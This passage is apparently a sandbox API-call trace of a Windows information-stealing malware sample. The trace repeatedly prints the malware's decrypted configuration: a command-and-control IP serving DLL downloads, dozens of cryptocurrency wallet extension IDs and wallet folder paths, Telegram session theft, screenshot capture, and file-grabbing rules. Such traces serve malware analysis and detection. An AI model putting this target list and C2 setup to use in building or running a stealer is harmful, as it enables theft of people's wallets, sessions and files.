Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.304] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.305] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.305] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.305] lstrlenW (lpString="mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3490 [0266.305] LocalAlloc (uFlags=0x40, uBytes=0x1bc4) returned 0x6f4830 [0266.305] StrCpyW (in: psz1=0x6fe628, psz2="MyMonero" | out: psz1="MyMonero") returned="MyMonero" [0266.305] LocalFree (hMem=0x6f4830) returned 0x0 [0266.305] StrStrW (lpFirst="26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.305] lstrlenW (lpString="mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3490 [0266.305] LocalAlloc (uFlags=0x40, uBytes=0x1bc4) returned 0x6f4830 [0266.305] StrCpyW (in: psz1=0x700f70, psz2="26" | out: psz1="26") returned="26" [0266.306] LocalFree (hMem=0x6f4830) returned 0x0 [0266.306] StrStrW (lpFirst="MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension 